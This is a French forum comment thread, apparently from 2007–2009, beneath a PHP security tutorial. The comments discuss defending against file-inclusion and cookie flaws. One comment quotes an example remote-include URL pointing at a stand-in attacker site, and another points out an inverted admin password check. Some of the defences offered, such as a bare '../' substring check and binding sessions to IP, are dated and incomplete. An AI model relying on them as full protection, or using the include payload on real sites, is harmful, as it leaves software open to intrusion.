Merci pour ta réponse Winsion. J'ai compris quelques truck depuis la dernière foi, mais bonjour la galère et le temps passé sur les nombreux forums et tutos.
Afin de contrer une faille de type include j'ai trouvé une solution plus pratique et facile:
Dans php.ini, configurer le paramettre suivant : alloow_url_fopen=off
ceci a pour but d'interdire l’ouverture de fichiers distants de type :
http://www.votresite.com/index.php?page=http://www.sitepirate.com/

Pouvez vous me dire si cette mettode corrige bien ce problème?
Merci

Commentaire de Jayadeva le 20/01/2007 00:04:22

>de plus, le code oblige l'extention .php pour vos scripts, hors, rien n'est possible avec un fichier .php (enfin, pas grand chose, l'exploitation d'une faille XSS tout au plus, je developperais en dessous.)
>
>// Update : Pour ceux qui se demandent pourquoi l'utilisation d'un fichier php distant rend impossible l'exécution de codes malveillantes, je vais expliquer la situation brièvement : Quand le pirate tentera d'include son script, qui contiendra par exemple une commande pour supprimer votre fichier index.php (à savoir unlink("index.php"), le script s'exécutera dans un premier temps, sur son serveur puis ensuite sera inclu sur votre page. Ainsi, si son code ne contient que la commande de suppression de la page index.php, cela reviendra à include un fichier vierge, il lui sera simplement impossible d'executer un code PHP sur votre serveur..

J'aimerai réagir. Ce passage est on ne peu plus faux, essayez d'inclure un fichier .php avec un serveur qui ne gère pas le php le fera s'afficher comme un fichier texte. La protection mise en place grâce a ce tuto est détruite et vous avez donc une faille.

Pour y remédier, il suffit de tester si le fichier est présent sur la machine avec la fonction '''file_exists("Mon/chemin/$page");'''
Ceci vous protégera car si quelqu'un cherche a inclure une page d'un serveur externe, la fonction '''file_exists''' retournera ''false'' vu qu'elle ne gère pas les url distantes.

Dans le cas d'une attaque interne (un autre utilisateur sur le même serveur), il faudra faire plus attention. La fonction '''file_exists''' devient inutile. Ici, il faudra regarder si $page ne contient pas de partie du style "../". En effet, sur un système unix, si je demande ce fichier :
/home/Mogwai/public_html/mon/petit/chez/moi/../../../../index.php
J'aurai en fait, celui-ci:
/home/Mogwai/public_html/index.php

Donc, un simple '''if (strpos($page,"../")===false)''' fera l'affaire.

Commentaire de DreamPush le 16/03/2007 00:13:46

Bonjour,

Je sais, ce tutorial date de 2005. Mais c'est bien bête qu'en particulier la partie 7 "La faille require() par Savory" soit dite en refonte c'est-à-dire absente : elle m'aurait bien intéressée...

Dans tous les cas, excellent tutorial ! Merci et Bon code à tous.

Commentaire de fransuisse le 22/05/2008 16:33:29

5. La faille cookies ? Que nenni ! Par Juliian

je pense qu'il y a encore plus simple pour cette faille c'est de tester l'adresse IP de l'utilisateur en la stockant a la connexion dans la session et de la tester a chaque page par $_SERVER['REMOTE_ADDR']

Commentaire de Sebounet31 le 14/07/2009 01:34:49

Bon d'accord je viens après la bataille mais ça, ça craint:


If($password != "Pouletgrille")  { Print'Insérez ici le contenu de votre section admin'; } else { print'Erreur de connexion !'; }

Ca veut dire que si le password = 'toto' ou 'tutu', on donne l'espace membres?

Je crois que je vais me limiter aux tutos de certaines personnes ou en refaire un pour le coup! :d

Je met cinq dans un élan de générosité.

Commentaire de alphastream le 10/11/2009 14:18:26

Il y a un nouveau site web qui analyse les failles informatiques sur un site.

Ils ont fait leurs preuves apparemment

Sur http://www.securisersonsite.com

 Ajouter un commentaire




Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Février 2010
LMMJVSD
1234567
891011121314
15161718192021
22232425262728

Consulter la suite du CalendriCode

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,125 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales